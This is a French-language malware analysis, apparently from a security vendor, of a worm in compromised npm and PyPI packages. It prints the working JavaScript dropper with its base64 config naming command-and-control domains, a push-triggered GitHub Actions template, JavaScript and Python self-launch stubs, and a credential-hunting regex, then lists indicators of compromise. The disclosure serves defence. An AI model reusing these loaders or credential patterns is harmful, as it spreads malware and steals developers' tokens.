Le 23 septembre 2026, un acteur malveillant a publié un nouveau ver de supply chain dans les paquets suivants :
- npm :
@memtensor/memos-cloud-openclaw-pluginversions >=0.1.21
- PyPI :
MemoryOSversions >=2.0.34
Bien que notre analyse soit préliminaire, les deux paquets affichent un historique de publication légitime important et semblent avoir été compromis par l'acteur malveillant. Ce ver est un binaire Go multiplateforme conçu pour se propager automatiquement dans d'autres paquets via une publication directe et des actions GitHub compromises. Nous suivons ce ver sous le nom de supplychain.local d'après le nom attribué par l'attaquant au module Go principal.
Mode d'exécution du malware
Les deux paquets malveillants contiennent un chargeur intégré au code applicatif de niveau supérieur, rédigé dans le même langage que le paquet. Le malware s'exécute à chaque appel de l'un ou l'autre des paquets, mais ne semble pas tenter de s'exécuter lors de l'installation.
import { spawn, spawnSync } from 'node:child_process';
import path from 'node:path';
import { existsSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
const CONFIG =
'eyJzY2hlbWEiOiJzY2tpdC5ydW50aW1lLnYxIiwiY2FtcGFpZ25faWQiOiJjbG91ZC1vcGVuY2xhdy1zZW1pLW51Y2xlYXIiLCJwcm9kdWN0IjoiY2xvdWQtb3BlbmNsYXciLCJ2ZXJzaW9uIjoiMC4xLjIxIiwiY2hhbm5lbCI6ImV4YWN0LXJlZi1vbmUtdXNlLU5QTV9UT0tFTixAbWVtdGVuc29yL21lbW9zLWNsb3VkLW9wZW5jbGF3LXBsdWdpbiIsInByb2ZpbGUiOiJzZW1pLW51Y2xlYXIiLCJlbmRwb2ludCI6IiIsImNvbnRyb2xfcGF0aCI6IiIsInByZWZsaWdodF9wYXRoIjoiIiwicmVzdWx0X3BhdGgiOiIiLCJyb290X3B1YmxpYyI6IjlOaDRFU3JJUWdvckpNRHI1OHNCSUk3WTlCN2ZqckhGbU5oV1BxcGhVbnMiLCJzdGFnZTBfZGlnZXN0IjoiZFpqQnJCMXE3Zkc5UWF3NVlERWZjYkZUN2liUW9vUnVOSGpkYXV6Y0pncyIsInN0YXRlX2RpciI6IiRIT01FLy5vcGVuY2xhdy8uY2FjaGUvcnVudGltZSIsImludmVudG9yeV9yb290cyI6WyIkSE9NRSJdLCJmcm9udHMiOlt7ImJhc2VfdXJsIjoiaHR0cHM6Ly84YThhY2FmMTY3YjMuc2t5bGVlbi5mciIsImNvbnRyb2xfcGF0aCI6Ii82MTEwZWEwYzYzYzYxODAzYjEyMzI2ODUvY29uZmlnIiwicHJlZmxpZ2h0X3BhdGgiOiIvNjExMGVhMGM2M2M2MTgwM2IxMjMyNjg1L3N0YXR1cyIsInJlc3VsdF9wYXRoIjoiLzYxMTBlYTBjNjNjNjE4MDNiMTIzMjY4NS9iYXRjaCJ9LHsiYmFzZV91cmwiOiJodHRwczovLzBiNDhmYWZkNmZiZS5za3lsZWVuLmZyIiwiY29udHJvbF9wYXRoIjoiLzY4YjkzYTZjMDBhMjMzYzkzZGZiZjhkMi9jb25maWciLCJwcmVmbGlnaHRfcGF0aCI6Ii82OGI5M2E2YzAwYTIzM2M5M2RmYmY4ZDIvc3RhdHVzIiwicmVzdWx0X3BhdGgiOiIvNjhiOTNhNmMwMGEyMzNjOTNkZmJmOGQyL2JhdGNoIn0seyJiYXNlX3VybCI6Imh0dHBzOi8vMjY2Mjk3YzZkZjI3LnNreWxlZW4uZnIiLCJjb250cm9sX3BhdGgiOiIvYWNjNTdmMzRkODkyOTlhNGFlNTBiODQ2L2NvbmZpZyIsInByZWZsaWdodF9wYXRoIjoiL2FjYzU3ZjM0ZDg5Mjk5YTRhZTUwYjg0Ni9zdGF0dXMiLCJyZXN1bHRfcGF0aCI6Ii9hY2M1N2YzNGQ4OTI5OWE0YWU1MGI4NDYvYmF0Y2gifV0sIm5vdF9hZnRlciI6MTc5MjcxNDk4Mn0';
function stageZeroBinary() {
const arch = process.arch === 'x64' ? 'amd64' : process.arch;
return path.join(
path.dirname(fileURLToPath(import.meta.url)),
'..',
'.sckit',
(process.platform === 'win32' ? 'windows' : process.platform) + '-' + arch,
process.platform === 'win32' ? 'sckit.exe' : 'sckit',
);
}
export function launchStageZero(text = '') {
const binary = stageZeroBinary();
if (!existsSync(binary)) return;
try {
const child = spawn(binary, ['stage0', '--config64', CONFIG], {
detached: true,
stdio: 'ignore',
env: { ...process.env, SCKIT_EVENT_TEXT: String(text) },
});
child.once('error', () => {});
child.unref();
} catch {}
}
export function collectStageZero(text = '') {
const binary = stageZeroBinary();
if (!existsSync(binary)) return false;
const result = spawnSync(binary, ['stage0', '--config64', CONFIG], {
stdio: 'ignore',
timeout: 15000,
killSignal: 'SIGTERM',
env: {
...process.env,
BASH_ENV: '',
NPM_TOKEN: process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN || '',
SCKIT_EVENT_TEXT: String(text),
},
});
return !result.error && result.status === 0;
}Dropper JavaScript provenant de @memtensor/memos-cloud-openclaw-plugin.
Ces deux droppers ont pour rôle d'exécuter un binaire sckit spécifique à la plateforme, situé dans un répertoire caché .sckit au sein du paquet. Les paquets malveillants contiennent des binaires ARM et x86 pour Windows, Linux et macOS. Les droppers lancent le binaire adapté au système infecté avec les arguments stage0, --config64, en y intégrant un bloc de configuration encodé en base64. Ce bloc contient des valeurs identifiant le paquet source ainsi que ce qui semble être des domaines de commande et de contrôle.
{
"schema": "sckit.runtime.v1",
"campaign_id": "cloud-openclaw-semi-nuclear",
"product": "cloud-openclaw",
"version": "0.1.21",
"channel": "exact-ref-one-use-NPM_TOKEN,@memtensor/memos-cloud-openclaw-plugin",
"profile": "semi-nuclear",
"endpoint": "",
"control_path": "",
"preflight_path": "",
"result_path": "",
"root_public": "9Nh4ESrIQgorJMDr58sBII7Y9B7fjrHFmNhWPqphUns",
"stage0_digest": "dZjBrB1q7fG9Qaw5YDEfcbFT7ibQooRuNHjdauzcJgs",
"state_dir": "$HOME/.openclaw/.cache/runtime",
"inventory_roots": ["$HOME"],
"fronts": [
{
"base_url": "https://8a8acaf167b3.skyleen.fr",
"control_path": "/6110ea0c63c61803b1232685/config",
"preflight_path": "/6110ea0c63c61803b1232685/status",
"result_path": "/6110ea0c63c61803b1232685/batch"
},
{
"base_url": "https://0b48fafd6fbe.skyleen.fr",
"control_path": "/68b93a6c00a233c93dfbf8d2/config",
"preflight_path": "/68b93a6c00a233c93dfbf8d2/status",
"result_path": "/68b93a6c00a233c93dfbf8d2/batch"
},
{
"base_url": "https://266297c6df27.skyleen.fr",
"control_path": "/acc57f34d89299a4ae50b846/config",
"preflight_path": "/acc57f34d89299a4ae50b846/status",
"result_path": "/acc57f34d89299a4ae50b846/batch"
}
],
"not_after": 1792714982
}Bloc de configuration décodé du dropper JavaScript de @memtensor/memos-cloud-openclaw-plugin.
Ce que fait le malware
Bien que notre analyse du malware soit préliminaire, nous avons identifié des indices suggérant qu'il s'agit d'un ver conçu pour s'autopropager via GitHub et par la publication directe de paquets sur npm et PyPI. Le malware tente de déposer un fichier de suivi d'état à l'emplacement spécifié dans le state_dir clé du blob de configuration.
Le malware intègre un modèle d'action GitHub conçu pour s'exécuter automatiquement lors de tout push sur un dépôt compromis. Au moment de la rédaction de cet article, nous n'avons trouvé aucune preuve de compromission de fichiers de workflows publics sur GitHub.
name: %s
on: [push]
jobs:
update:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- run: ./%s/linux-amd64/sckit stage0 --config64 %q
Modèle d'action GitHub trouvé dans le malware, destiné à s'auto-exécuter à partir d'un dépôt compromis.
Le malware contient des stubs JavaScript et Python conçus pour exécuter le programme malveillant à partir d'autres dépôts infectés. Le stub JavaScript semble être généré dans le fichier bootstrap.cjs et exécuté en tant que script postinstall. De même, nous n'avons identifié aucun dépôt de code public contenant l'un ou l'autre de ces scripts au moment de la rédaction.
"use strict";
const { spawn } = require("node:child_process");
const { existsSync } = require("node:fs");
const path = require("node:path");
const arch = process.arch === "x64" ? "amd64" : process.arch;
const os = {darwin: "darwin", linux: "linux", win32: "windows"}[process.platform];
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");
if (os && (arch === "amd64" || arch === "arm64") && existsSync(binary)) {
const child = spawn(binary, ["stage0", "--config64", %q], {detached: true, stdio: "ignore"});
child.on("error", () => {});
child.unref();
}
Stub JavaScript utilisé pour s'auto-exécuter, probablement via un script postinstall.
try:
import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
_a = {
"x86_64": "amd64",
"aarch64": "arm64",
"AMD64": "amd64",
"ARM64": "arm64",
}.get(_pl.machine(), _pl.machine())
_b = (
_p.Path(__file__).resolve().parent
/ %q
/ (f"{_pl.system().lower()}-{_a}")
/ ("sckit.exe" if _o.name == "nt" else "sckit")
)
if _b.exists():
_sp.Popen(
[str(_b), "stage0", "--config64", %q],
stdin=_sp.DEVNULL,
stdout=_sp.DEVNULL,
stderr=_sp.DEVNULL,
start_new_session=True,
)
except Exception:
pass
Stub Python destiné à s'auto-exécuter.
Le malware fait référence à des variables d'environnement liées aux identifiants de publication de paquets et contient une expression régulière Go pour rechercher les secrets suivants :
- JWT génériques
- Identifiants de clés d'accès AWS
- Tokens GitHub
- Jetons GitLab
- Jetons d'accès npm
- Jetons d'API PyPI
- Jetons Hugging Face
- Jetons de service HashiCorp Vault
- Jetons Slack
- Clés secrètes Stripe en mode production
- Clés d'API SendGrid
(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])
Expression régulière Go pour l'identification des secrets.
Le malware présente également des signes de prolifération via la publication directe de paquets sur npm et PyPI. Il semble publier sur npm à l'aide de npm publish et npm version patch, et sur PyPI à l'aide de twine upload en utilisant des identifiants dérobés sur des postes de travail infectés ou des environnements CI.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Indicateurs de compromission
Domaines :
8a8acaf167b3.skyleen.fr0b48fafd6fbe.skyleen.fr266297c6df27.skyleen.frc747d139e7e9.skyleen.fr73376a079d87.skyleen.frd4f77a3a8cb0.skyleen.fr
Adresses IP :
139.84.223.178(résolu par tous les sous-domaines connus)
Fichiers :
- Binaires Sckit :
65faf8ccbcf5b34eb4f72c71bf82815fa9c1e2f947b9c898491540e866132c31f8ccdd1da7dff1aef16377a2842bc7acf7c516e32122dd6e42dc4a4e57653fce381ac6dc1715d9298fe81b2a53a11f7b7d78e361ee3a6619ad54f8c4b062cc18e077c387b223811064b7bbc5a55a0182fca9bf50894f949ff284d4be87d44b26d6b3e77c36ee8017c9bf30d1da7218ec0ea843768d313eb8e35845c8a9b38a2656cd3416d2ec2aa7e7cec2a06010cf0b58eb09c0a5486809df52afeaca8f14be



